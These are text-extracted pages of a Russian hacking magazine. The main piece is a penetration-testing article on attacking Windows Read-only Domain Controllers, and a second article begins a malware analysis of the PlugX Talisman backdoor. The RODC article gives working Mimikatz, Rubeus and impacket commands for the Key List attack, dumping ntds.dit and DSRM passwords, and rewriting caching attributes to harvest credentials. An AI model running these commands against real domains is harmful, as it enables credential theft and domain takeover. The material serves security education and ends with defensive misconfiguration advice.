ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ПЕНТЕСТИМ

READ-ONLY DOMAIN CONTROLLERS

В сетях на основе­ Windows существу­ ет­ специаль­ ный­ подвид­ контрол­ леров­ домена под названи­ ем­ Read-only Domain Controller. Сегодня­ мы поговорим­ об уяз­ вимостях­ таких контрол­ леров­ и рассмот­ ­ рим векторы­ атак, которые можно­ к ним применить­ .

ТЕОРИЯ

MichelleVermishelle

17 y.o. | TG: @MichaelZhm michael.zhmailo@yandex.ru

Определения и особенности

Read-only Domain Controller был представ­ лен­ в Windows Server 2008. Его основная цель — обеспечить­ безопасное­ взаимо­ дей­ ствие­ сервера­ со службой­ каталогов­ . Очень часто­ подобные­ контрол­ леры­ домена ставят­ в каких нибудь удален­ ных­ офисах­ компании­ , старых­ филиалах­ и прочих­ местах­ , где невоз­ можно гарантировать­ достаточ­ ную­ физическую­ безопасность­ сервера­ . Получив доступ­ к такому устройству­ , ни один злоумыш­ ленник­ не сможет­ толком­ пов­ лиять на домен.

Внутри­ RODC хранит­ ­ся копия базы AD, но чуточку­ изменен­ ­ная. Во первых­ , не сохраня­ ­ется множес­ ­тво атрибутов­ , например­ ms-Mcs-AdmPwd — в этом атрибуте­ хранит­ ­ся пароль локального­ админис­ ­тра­тора при настро­ ­енном LAPS. Во вторых­ , разрешено­ кешировать­ учетные­ данные­ лишь конкрет­ ­ных поль­ зователей­ . Например­ , пользовате­ ­лей этого­ самого удален­ ­ного офиса­ .

Что такое кеширование­ ? Это обычное­ сохранение­ учетных­ данных­ поль­ зователей­ . Сохраня­ ются­ они в файле­ ntds.dit, равно­ как и на обычном­ кон­ троллере­ домена.

Причем­ RODC не создает­ домен, а добавляет­ ­ся в существу­ ­ющий. Делается­ это еще на этапе­ установ­ ­ки и выглядит­ вот так.

Настрой­ ка­ RODC

При этом использование­ RODC дает множес­ тво­ преиму­ ществ­ в плане­ безопасности­ : отдельный­ DNS-сервер­ , изменения­ в котором никак не отра­ жаются­ на основном, делегирова­ ние­ роли админис­ тра­ тора­ любому поль­ зователю­ (причем­ этот пользователь­ необязатель­ но­ должен­ быть админис­ тра­ ­ тором на обычных­ контрол­ лерах­ домена).

Назначение­ пользовате­ лей­

Также­ следует­ выделить особен­ ность­ репликации­ (DCSYNC) — она возможна­ только­ со стороны­ обычного­ контрол­ лера­ домена. RODC ничего реплициро­ ­ вать не может. Также­ присутс­ тву­ ет­ изоляция­ SYSVOL — любые изменения­

в групповых­ политиках­ остаются­ на RODC и не распростра­ няют­ ся­ на основной домен.

Если­ рассмат­ ­ривать RODC на «тировой» архитек­ ­туре Microsoft, то возника­ ­ ют определен­ ­ные сложности­ , так как принад­ ­лежащие Tier 0 ресурсы­ не могут работать в тех местах­ , где должны­ находиться­ RODC. А RODC не должны­ иметь под контро­ ­лем какие либо ресурсы­ из Tier 0. Поэтому­ хосты­ RODC и учетные­ данные­ для подклю­ ­чения к ним никак не могут принад­ ­лежать Tier 0, но вот сами компьютер­ ­ные объекты­ RODC следует­ защищать, как Tier 0.

Атрибуты

RODC имеет­ множес­ ­тво особен­ ­ностей. Первая­ — почти­ вся нужная­ атакующе­ ­ му информация­ находится­ в атрибутах­ компьютер­ ­ной учетной­ записи RODC. Наиболее­ интерес­ ­ные для нас атрибуты­ кратко­ описаны­ ниже.

managedBy

Здесь указыва­ ­ется объект­ , которому­ делегирова­ ­но админис­ ­тра­тив­ное управление­ RODC. Любой пользователь­ или группа­ , указан­ ­ные в этом атри­ буте, являются­ локальными­ админис­ ­тра­тора­ми на RODC:

Get-ADComputer 'RODC' -prop managedBy

Изучение­ атрибута­

msDS-RevealOnDemandGroup, msDS-NeverRevealGroup

В этом атрибуте­ указыва­ ­ются объекты­ , учетные­ данные­ которых могут кеширо­ ваться­ . Кеширование­ нужно­ для того, чтобы­ эти пользовате­ ­ли могли­ проходить­ провер­ ­ку подлиннос­ ­ти на RODC.

Get-ADComputer 'RODC' -prop msDS-RevealOnDemandGroup,

msDS-NeverRevealGroup

Изучение­ атрибутов­

Соответс­ твен­ но­ , существу­ ет­ атрибут­ , запреща­ ющий­ кеширование­ прописан­ ­ ных в нем учетных­ данных­ объектов­ . Он называется­ msDS-NeverRevealGroup.

msDS-AuthenticatedToAccountList

Здесь будут хранить­ ­ся объекты­ , которые успешно аутентифици­ ­рова­лись на RODC:

Get-ADComputer 'RODC' -prop msDS-AuthenticatedToAccountList

Изучение­ атрибута­

msDS-Revealed*

Это целая группа­ из несколь­ ­ких атрибутов­ :

msDS-RevealedUsers — список­ объектов­ , учетные­ данные­ которых ког­ да либо кешировались­ на RODC;

msDS-RevealedDSAs — список­ RODC, которые кешировали­ пароль поль­ зователя­ ;

msDS-RevealedList — список­ объектов­ , учетные­ данные­ которых были успешно сохранены­ на RODC.

Get-ADComputer 'RODC' -prop msDS-RevealedList,msDS-RevealedDSAs,

msDS-RevealedUsers

Изучение­ атрибутов­

Аутентификация пользователей

RODC кеширует­ учетные­ данные­ определен­ ­ных пользовате­ ­лей как раз таки, чтобы­ проверить­ их подлинность­ . После­ успешной аутентифика­ ­ции по всем канонам должен­ быть сгенери­ ­рован TGT-билет, но RODC нельзя­ считать­ надежным­ KDC, поэтому­ у него создает­ ­ся собствен­ ­ная учетная­ запись krbtgt. Ее пароль использует­ ­ся для подписи­ создава­ ­емых TGT.

Упомяну­ тая­ учетная­ запись имеет­ необычное­ имя: krbtgt_<цифры>. Эти самые цифры­ — специаль­ ный­ идентифика­ тор­ ключа­ , который использовал­ ся­ для шифрования­ TGT-билета. Имя новой учетной­ записи KRBTGT хранит­ ся­ в атрибуте­ msDS-KrbTgtLink объекта­ RODC. А у этой самой новой учетной­ записи KRBTGT в атрибуте­ msDS-KrbTgtLinkBl содержится­ имя RODC. Таким образом­ , обнаружив­ RODC, можно­ связать­ его с конкрет­ ным­ KRBTGT_XXXXX. И, соответс­ твен­ но­ , обнаружив­ KRBTGT_XXXXX, можно­ связать­ его с конкрет­ ным­

RODC.

Допол­ нитель­ но­ отмечу­ , что RODC имеет­ право­ на сброс пароля этой самой

KRBTGT_XXXXX.

Get-ADUser -filter {name -like "krbtgt*"} -prop Name,Created,

PasswordLastSet,msDS-KeyVersionNumber,msDS-KrbTgtLinkBl

Нахож­ дение­ KRBTGT_XXXXX

Get-ADComputer RODC -Properties msDS-KrbTgtLink

Нахож­ ­дение связан­ ­ного krbtgt

Get-ADUser krbtgt_19160 -Properties msDS-SecondaryKrbTgtNumber,

msDS-KrbTGTLinkBl

Нахож­ дение­ связан­ ного­ RODC

ПОИСК RODC

Как я уже отметил­ , ты можешь обнаружить­ учетную­ запись с именем­ KRBTGT_< цифры>, после­ чего глянуть­ ее атрибут­ msDS-KrbTGTLinkBl и найти­ связан­ ­ный контрол­ ­лер, но есть и иные способы­ нахождения­ RODC.

Самый­ простой­ — использовать­ фильтр­ :

Get-ADDomainController -filter {ISReadOnly -eq $True}

 

 

 

 

 

Поиск­

RODC

 

 

 

 

 

 

 

 

 

Также­ была обнаруже­ на­ группа­ «Контрол­ леры­

домена

— только­ чтение­ »

и «Контрол­ леры­

домена предпри­ ятия­

— только­ чтение­ », которые имеют­ RID

521 и 498 соответс­ твен­

но­ . RODC входит­ в одну из этих групп в зависимос­ ти­

от его уровня­ . Соответс­ твен­

но­ , мы можем либо перебрать­

все компьюте­ ры­ ,

анализи­ руя­

их атрибут­

PrimaryGroupID, либо сначала­

получить GUID этих

групп:

 

 

 

 

 

 

 

 

 

 

Get-ADGroup -filter {name -like "*чтен*"}

Нахож­ дение­ групп

А затем извлечь участни­ ков­ :

Get-ADGroupMember -identity d876774c-474b-4a70-a3d9-e89998e5a99e

Находим­ участни­ ков­

ПОЛУЧЕНИЕ КЕШИРОВАННЫХ ПАРОЛЕЙ С RODC

Первым­ делом ты должен­ получить принципала­ , который имеет­ права­ локаль­ ного админис­ тра­ тора­ на RODC. Это может быть компро­ мета­ ция­ как кого то привиле­ гиро­ ван­ ного­ , так и просто­ пользовате­ ля­ , прописан­ ного­ в атрибуте­ managedBy. Но перед этим не забудь выяснить­ , кого вообще­ мы можем ском­ промети­ ровать­ . Для этого­ загляни­ в атрибут­ msDS-RevealedUsers:

Get-ADComputer 'RODC' -prop msDS-RevealedUsers,

msDS-RevealOnDemandGroup,msDS-RevealedList

Просмотр­ атрибутов­

Просмотр­ атрибутов­

Столь большие­ отличия­ не случай­ ны­ . Вроде­ бы кешировать­ разрешено­ RACHAEL_LAMBERT и админис­ тра­ тора­ , а закеширова­ ны­ данные­ только­ второго­ , откуда­ то взявшегося­ RODC и krbtgt_19160. Проблема­ заключа­ ется­ в том, что кеширования­ произой­ дет­ только­ после­ успешной аутентифика­ ции­ поль­ зователя­ в домене. То есть если RACHAEL_LAMBERT сейчас­ залогинит­ ся­ , то дан­ ные этого­ пользовате­ ля­ будут переданы­ RODC обычным­ контрол­ лером­ домена для кеширования­ . Учетные­ данные­ RODC и krbtgt_19160 лежат в кеше потому, что компьютер­ ная­ учетная­ запись использует­ ся­ , например­ , при работе со службой­ каталогов­ , а с помощью KRBTGT шифруют­ ся­ выдава­ емые TGT.

Так как все закеширован­ ные­ пароли будут лежать в ntds.dit, то смело­ дампим­ его любым удобным­ способом­ . Но сначала­ нужно­ получить доступ­ от лица локального­ админис­ тра­ тора­ . Вспомним­ , что в атрибуте­ managedBy был прописан­ некий FAUSTINO_SHERMAN.

Атрибут­ managedBy

Получа­ ем­ доступ­ к этому­ пользовате­ лю­ , заходим на хост и видим, что мы дей­ ствитель­ но­ в группе­ ЛА.

Членство­ в группе­ локальных­ админис­ тра­ торов­

После­ этого­ дампим­ ntds.dit как нам угодно­ , например­ через VSS.

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

BUY

 

 

 

to

 

 

.co

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

p

 

c

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

ПЕНТЕСТИМ

READ-ONLY DOMAIN CONTROLLERS

DSRM

У всех контрол­ ­леров домена есть такая штука­ , которая называется­ DSRM. Она позволя­ ­ет сделать­ «запасной­ » пароль для учетной­ записи локального­ админис­ ­ тратора­ на случай­ , если вдруг основной пароль забыт или утерян­ .

Как только­ мы получили­ доступ­ к RODC, обязатель­ ­но нужно­ дампить­ SAM с целью поиска­ этого­ пароля. Пароль связан­ с учетной­ записью админис­ ­тра­ тора, RID которой равен 500.

Получе­ ние­ DSRM

Причем­ если мы сравним­ этот пароль со стандар­ тным­ паролем админис­ тра­ ­ тора, то они будут отличать­ ся­ .

Пароль­ обычного­ админис­ ­тра­тора

Нам может повезти­ , а может нет. Во первых­ , чаще всего­ устанав­ лива­ ется­ один и тот же пароль DSRM на все контрол­ леры­ домена, и мы сможем­ зайти­ на дру­ гой контрол­ лер­ домена от лица админис­ тра­ тора­ . Но, во вторых­ , чтобы­ зайти­ от имени­ админис­ тра­ тора­ , нужна­ особая­ настрой­ ка­ контрол­ лера­ : требует­ ся­ ,

чтобы­ значение­ DsrmAdminLogonBehaviour по пути HKLM\System\ CurrentControlSet\Control\Lsa было равно­ 2.

Провер­ ка­ реестра­

Если­ нам повезет, то мы сможем­ выполнить­ вход от имени­ админской­ учетки­ .

Успешная­ аутентифика­ ция­

ОСОБЕННОСТИ РАБОТЫ KERBEROS С RODC

Самая­

главная­ особен­ ность­

работы Kerberos с RODC в том, что RDOC

не может синхро­ низи­ ровать­

ся­ с контрол­ лером­

домена. Процесс­

DCSYNC воз­

можен лишь в одну сторону­ — с обычного­ контрол­ ­лера на RODC. Синхро­ ­низи­ ровать что либо с RODC невозможно­ .

Дамп с RODC

 

 

 

 

 

 

 

Дамп с DC

 

 

 

 

 

 

 

 

Также­ сгенери­ рован­

ный­

RODC TGT можно­ использовать­

и в домене, отдав его

запросом­

TGS-REQ на службу­ krbtgt обычного­

контрол­ лера­

домена. Когда­

обычный­

КД

получает­

данный­

TGT, он смотрит­

атрибут­

msDS-

RevealOnDemandGroup RODC и проверя­ ет­ : если принципал­

тикета

указан­

в этом атрибуте­

и не указан­ в msDS-NeverRevealGroup, то TGT будет обновлен

до «полного­ » TGT и подписан­

ключом­

обычной­ учетной­ записи krbtgt контрол­ ­

лера домена. Причем­

обычный­

контрол­ лер­

 

домена перегенери­ рует­

PAC

билета, а не станет­ его копировать­

из TGT, сгенери­ рован­

ного­

RODC.

 

 

Таким­

образом­ , если мы хотим создать­

«золотой»,

«бриллиан­

товый­ »

или «сапфировый­ » тикет, обязатель­

но­ следить­

за тем, какой пользователь­

нам

нужен. Принципал­

ни в коем случае­ не должен­

присутс­ тво­ вать­

в списке­ msDS-

NeverRevealGroup.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

KEY LIST

Эта атака­ позволя­ ­ет извлечь NTLM-хеш пользовате­ ­ля, злоупот­ ­ребляя особен­ ­ ностями­ взаимо­ ­дей­ствия RODC с обычным­ контрол­ ­лером домена. Сначала­ «золотой» тикет генерирует­ ­ся с использовани­ ­ем ключа­ krbtgt RODC и отправ­ ляется­ в запросе­ TGS-REQ на обычный­ контрол­ ­лер домена. При этом устанав­ ­ ливается­ специаль­ ­ный флаг KERB-KEY-LIST-REQ. И если целевая учетная­ запись присутс­ ­тву­ет в атрибуте­ msDS-RevealOnDemandGroup RODC и отсутс­ твует­ в атрибуте­ msDS-NeverRevealGroup, то TGS-REP будет содержать­ струк­ туру KERB-KEY-LIST-REP с учетными­ данными­ пользовате­ ­ля.

Для выполнения­ атаки­ нам нужны­ :

1.AES-ключ учетной­ записи krbtgt с RODC.

2.Номер­ версии­ ключа­ (последние­ цифры­ в имени­ krbtgt).

3.Имя пользовате­ ­ля, хеш которого­ хотим получить. Пользователь­ должен­ быть прописан­ в атрибуте­ msDS-RevealOnDemandGroup.

Первые­ два объекта­ можно­ получить, используя­ Mimikatz:

lsadump::lsa /inject /name:krbtgt_19160

Извле­ чение­ ключа­ AES-256

А потом можно­ восполь­ зовать­ ся­ Rubeus либо Impacket для получения­ NTLMхеша пользовате­ ля­ :

# impacket

impacket-keylistattack CRINGE/FAUSTINO_SHERMAN:pass123@dc01

-rodcNo 19160 -rodcKey

fa34fec82433432f4b3e3fb8005bd369ddde8f15ee5450e92d9304ecd07bab60

-dc-ip 192.168.116.133 -debug

#Rubeus

#Сначала запрашиваем TGT

Rubeus.exe golden /rodcNumber:19160 /aes256:

fa34fec82433432f4b3e3fb8005bd369ddde8f15ee5450e92d9304ecd07bab60 /

user:RACHAEL_LAMBERT /id:1196 /domain:cringe.lab /sid:S-1-5-21-

1437000690-1664695696-1586295871

# Отдаем TGT в запрос TGS-REQ

Rubeus.exe asktgs /enctype:aes256 /keyList /service:

krbtgt/cringe.lab /dc:dc1.cringe.lab /ticket:doIFgzCCBX+gA

Impacket перебирает­ всех пользовате­ лей­ домена

Листаем­ вниз и находим хеш пользовате­ ля­ .

Impacket натыкается­ на пользовате­ ля­ из msDS-RevealOnDemandGroup

КОНТРОЛЬ НАД ОБЪЕКТОМ RODC

Если­ вдруг в ходе пентеста­ получилось­ обнаружить­ учетную­ запись, которая имеет­ права­ GenericWrite/GenericAll/WriteProperty на msDSRevealOnDemandGroup и желательно­ на msDS-NeverRevealGroup, то захват­ домена обеспечен­ ! Все сводит­ ­ся к изменению­ этих самых атрибутов­ msDSRevealOnDemandGroup и msDS-NeverRevealGroup, что приведет­ к кеширо­

ванию паролей новых пользовате­ ­лей.

Например­ , мы видим, что кеширование­ неких RAMONA_TURNER,

RAMON_STEWART и RANDELL_COLON отключено­ .

Изучение­ атрибутов­

Посколь­ ку­ у нас учетная­ запись имеет­ контроль­ над этим атрибутом­ , просто­ очищаем­ его:

Set-DomainObject -Identity RODC$ -Clear 'msDS-NeverRevealGroup'

Очистка­ атрибутов­

А в атрибут­ msDS-RevealOnDemandGroup, наоборот­ , добавляем­ пользовате­ ­лей:

Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'

=@('CN=RAMONA_TURNER,OU=Test,OU=BDE,OU=Tier 1,DC=cringe,DC=lab',

'CN=RAMON_STEWART,OU=ESM,OU=Stage,DC=cringe,DC=lab',

'CN=RANDELL_COLON,OU=TST,OU=Tier 2,DC=cringe,DC=lab')}

Изменение­ атрибутов­

Далее­ придет­ ся­ некоторое­ время­ подождать­ , пока не пройдет­ успешная син­ хрониза­ ция­ RODC с обычным­ контрол­ лером­ домена и получение­ учетных­ дан­ ных пользовате­ лей­ , указан­ ных­ в msDS-RevealOnDemandGroup. Для этого­ мониторь содержимое­ атрибута­ msDS-RevealedList: в нем хранит­ ся­ список­ объектов­ , учетные­ данные­ которых успешно закеширова­ лись­ на RODC. Коман­ ды смотри­ в разделе­ «Поиск».

ЗАКЛЮЧЕНИЕ

 

 

 

 

 

 

 

 

 

 

RODC пользует­ ся­ популярностью­

у системных­

админис­ тра­ торов­ . Да, этот инс­

трумент­

удобен­ , но мало кто знает­ , что он создает­

новые векторы­

для атак.

Самые частые­ мисконфи­ ги­ :

 

 

 

 

 

 

 

 

1.

Кеширо­ вание­

RODC большого­

числа­ учетных­

данных­ , например­

когда­

 

в msDS-RevealOnDemandGroup указыва­ ют­ группу­ Authenticated

 

Users. Компро­ мети­ рует­ ся­ RODC, и мы получаем­ доступ­ к этим данным­ .

2.

RODC админис­ три­ руют­

ся­ группой­

RODC

Admins, которая чаще всего­

 

не защищена­

должным­

образом­

. Соответс­ твен­ но­ , атакующий­

пробива­ ется­

в эту группу­ , идет на RODC, а далее смотри­ пункт 1.

3.Пароль­ DSRM на обычном­ контрол­ ­лере домена и на контрол­ ­лере домена RODC одинако­ ­вый.

Иными­ словами­ , RODC нельзя­ считать­ панацеей­ , но при грамот­ ном­ админис­ ­ трирова­ нии­ множес­ тво­ распростра­ нен­ ных­ ошибок­ получится­ сгладить­ либо исправить­ .

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ИЗУЧАЕМ ВРЕДОНОС TALISMAN НА ПРАКТИКЕ

В 2022 году несколь­ ­ко антивирус­ ­ных ком­

 

 

паний опубликова­

­ли обзоры­ написанного­

 

на C бэкдора­

из семейства­

PlugX под наз­

 

ванием­ Talisman. На примере­

этого­ трояна­

 

 

мы разберем­

, как выполняет­

­ся динами­

rayhunt454

 

 

 

 

 

 

 

 

 

 

 

ческий­

и статичес­ ­кий анализ­

вредонос­ ­

 

ного ПО, а также­ создадим­

собствен­

­ные

 

сигнатуры­

для детектирова­

­ния иссле­

 

дуемого­ образца.

 

 

 

 

 

 

 

 

Бэкдоры­ этого­ семейства­ известны­ с марта­ 2022 года и довольно­ хорошо изу­ чены. Впервые­ описала­ его возможнос­ ти­ компания­ Trellix, схожий­ модуль также­ описыва­ ет­ компания­ Dr.Web под названи­ ем­ BackDoor.PlugX.38. Конкрет­ но­ этот образец­ представ­ ляет­ собой многоком­ понен­ тную­ вредонос­ ную­ программу­ , которая попадает­ на компьютер­ жертвы­ благода­ ря­ другому­ трояну­ загрузчи­ ку­ и работает­ в оператив­ ной­ памяти машины.

Вредонос­ состоит­ из трех компонен­ тов­ : исполняемо­ го­ файла­ SNAC.EXE, имеюще­ го­ действи­ тель­ ную­ цифровую­ подпись­ , который загружа­ ет­ модифи­ цирован­ ную­ злоумыш­ ленни­ ками­ динамичес­ кую­ библиоте­ ку­ WGXMAN.DLL с помощью техники­ DLL side-loading. В свою очередь­ , библиоте­ ка­ содержит­ зашифрован­ ный­ файл SNAC.LOG, в котором спрятана­ полезная­ нагрузка­ . Биб­ лиотека­ запускает­ шелл код в функции­ DllMain и расшифро­ выва­ ет­ файл SNAC. LOG. Далее исполняемый­ код, полученный­ после­ расшифров­ ки­ этого­ файла­ , извлекает­ конфигура­ цию­ PlugX Talisman, а также­ основную полезную­ нагрузку­ PlugX, тоже представ­ ленную­ в виде динамичес­ кой­ библиоте­ ки­ . Она содержит­ основной модуль вредоно­ са­ PlugX Talisman, который загружа­ ется­ в память про­

цесса­ SNAC.EXE.

Принцип­ работы PlugX Talisman

В этой статье мы изучим­ образец­ вредонос­ ной­ программы­ , научимся­ про­ водить ее анализ­ , найдем­ интерес­ ные­ участки­ в коде модуля, расшифру­ ем­ файл SNAG.LOG, а также­ получим конфигура­ цию­ PlugX Talisman и извлечем­ основную полезную­ нагрузку­ PlugX.

О том, как из подручных­ материалов­ с помощью смекал­ ки­ и умелых­ рук постро­ ить­ сквореч­ ник­ лабораторию­ для анализа­ вредоно­ сов­ , подробно­ расска­ зано­ в статье «Код под надзором­ . Создаем­ виртуаль­ ную­ лабораторию­ для анализа­ малвари­ ».

ИНСТРУМЕНТАРИЙ

Для дальнейше­ ­го исследова­ ­ния вредонос­ ­ного файла­ восполь­ ­зуем­ся сле­ дующим софтом­ :

1.DIE — программа­ для определе­ ­ния типов файлов­ .

2.PeStudio — программа­ для поиска­ артефак­ ­тов в исполняемых­ файлах­ .

3.IDA Pro — интерак­ ­тивный дизассем­ ­блер, используемый­ для реверс инжи­ ниринга­ .

4.Wireshark — инстру­ ­мент для анализа­ сетевых протоко­ ­лов.

5.Burp Suite — использует­ ­ся в качестве­ прозрачно­ ­го прокси­ сервера­ с целью анализа­ взаимо­ ­дей­ствия вредонос­ ­ного файла­ по протоко­ ­лу HTTPS.

6.Loki Scanner — сканер­ IOCs.

7.YaraEditor — программа­ для тестирова­ ­ния и создания­ правил­ YARA.

8.ApiLogger — утилита­ для анализа­ вызываемых­ WinAPI-функций­ исследуемо­ ­ го вредоно­ ­са.

9.x64dbg — отладчик с открытым­ исходным кодом для Windows, предназна­ ­ ченный­ для анализа­ вредонос­ ­ных программ­ .

10.Process Hacker — утилита­ для мониторин­ ­га процес­ ­сов и служб.

11.Плагин­ mkYARA для IDA — плагин­ для генерации­ правил­ YARA на основе­ кода.

ПЕРВИЧНЫЙ АНАЛИЗ

Прежде­ чем приступать­ к реверсу­ файлов­ , получим первичную­ информацию­ об исследуемых­ образцах. Загрузим­ файл SNAC.EXE в PeStudio. При анализе­ необходимо­ обратить­ внимание­ на строки­ , подклю­ ­чаемые библиоте­ ­ки, версии­ файлов­ , сертифика­ ­ты, а также­ на сведения­ о файле­ отладки, которые в некото­ рых случаях­ помогают­ атрибути­ ­ровать разработ­ ­чика.

Перей­ ­дем на вкладку­ Version.

Описание­ исполняемо­ го­ файла­

Оригиналь­ ное­ имя файла­ — SNAC.exe, цифровая­ подпись­ указыва­ ет­ на то, что файл разработан­ компани­ ей­ Symantec Corporation.

Строка­ файла­ отладки

Файл отладки расположен­ по следующе­ му­ пути:

C:\bld_area\sesagent70\snac_build\bin.ira\snac.pdb

Перей­ дем­ на вкладку­ Libraries.

Подклю­ чаемые­ библиоте­ ки­

PeStudio определя­ ет­ список­ библиотек­ , которые злоумыш­ ленни­ ки­ используют­ при написании­ вредоно­ са­ . Перейдем­ на вкладку­ Сertifcate.

Информа­ ­ция о подписи­ файла­

Файл SNAC.exe является­ подписан­ ­ным, безопасным­ файлом­ . Теперь откроем­ файл WGXMAN.DLL в PeStudio.

Описание­ файла­

В файле­ присутс­ тву­ ет­ строка­ о файле­ отладки:

C:\bld_area\sesagent70\snac_build\bin.ira\wgxman.pdb

Перей­ ­дем на вкладку­ Strings, в которой можно­ обнаружить­ строку­ SNAC.LOG. Теперь­ выполним­ поведенческий­ анализ­ , получим информацию­ о процес­ ­се

и запишем сетевой трафик­ . Запустим­ исполняемый­ файл SNAC.EXE, затем откроем­ Process Hacker и соберем информацию­ о процес­ ­се.

Не рекомендует­ ся­ исследовать­ вредонос­ ные­ программы­ на рабочей операци­ онной­ системе­ , посколь­ ку­ это может привес­ ти­ к заражению­ машины и утере­ ценных­ данных­ .

После­ запуска­ исполняемо­ ­го файла­ вредонос­ создал­ дочерний­ процесс­ conhost.exe.

Процесс­ SNAC.exe

Нажмем­ два раза на имя этого­ процес­ са­ , откроем­ вкладку­ Modules.

Загружа­ емая­ библиоте­ ка­ WGXMAN.dll

Как видно­ из рисунка­ , вредонос­ загрузил­ динамичес­ ­кую библиоте­ ­ку WGXMAN. dll. Посмотрим­ генерируемый­ приложе­ ­нием трафик­ .

 

 

 

Взаимо­ дей­ ствие­

с управляющим­

сервером­

 

 

 

 

 

 

 

 

Модуль­

PlugX

Talisman начинает­ устанав­ ливать­

сетевое взаимо­ дей­ ствие­

с управляющим­

сервером­

dhsg123[.]jkub[.]com. После­ получения­

адреса­

домена устанав­ лива­ ется­

TCP-соединение­

по порту­ 80.

 

Содер­ жимое­ TCP-пакета

Также­ исследуемый­ образец­ обращает­ ­ся к управляюще­ ­му серверу­ по протоко­ ­

лу HTTP.

Содер­ жимое­ HTTP-пакета

В результате­ первично­ го­ анализа­ мы получили­ информацию­ о вредонос­ ном­ процес­ се­ , узнали­ адрес управляюще­ го­ сервера­ , установи­ ли­ протокол­ взаимо­ ­ действия­ , а также­ обнаружи­ ли­ интерес­ ные­ строки­ и описание­ файлов­ .

РАЗБОР МАЛВАРИ

Приступим­ к подробно­ ­му исследова­ ­нию кода. Динамичес­ ­кий анализ­ будем проводить­ с использовани­ ­ем утилиты­ x64dbg. Анализ­ псевдокода­ выполним­

в IDA Pro с установ­ ­ленным плагином­ HexRays. Чтобы­ получить наиболее­ пол­ ный результат­ , при анализе­ вредонос­ ­ных программ­ необходимо­ комбиниро­ ­ вать инстру­ ­мен­ты.

Программа­ SNAC.EXE представ­ ляет­ собой безопасный­ исполняемый­ файл, который имеет­ валидную­ цифровую­ подпись­ . Его основная задача — загрузка­ динамичес­ кой­ библиоте­ ки­ WGXMAN.DLL методом DLL side-loading. После­ заг­ рузки библиоте­ ки­ выполнение­ передается­ на функцию­ экспорта­ DllMain. Далее динамичес­ кая­ библиоте­ ка­ расшифро­ выва­ ет­ исполняемый­ код в файле­ SNAC.LOG и передает­ выполнение­ на него.

Приступим­ к анализу­ . Для этого­ загрузим­ исполняемый­ файл SNAC.EXE в утилиту­ x64dbg, в которой будем проводить­ отладку. Также­ загрузим­ динами­ ческую­ библиоте­ ­ку WGXMAN.DLL в IDA.

Для проведе­ ния­ динамичес­ кого­ анализа­ необходимо­ найти­ точку­ останова­ , с которой начинается­ выполнение­ основных функций­ программы­ . Для этого­ проана­ лизи­ руем­ код загружа­ емой­ библиоте­ ки­ и найдем­ функцию­ , подходящую­ для этой цели.

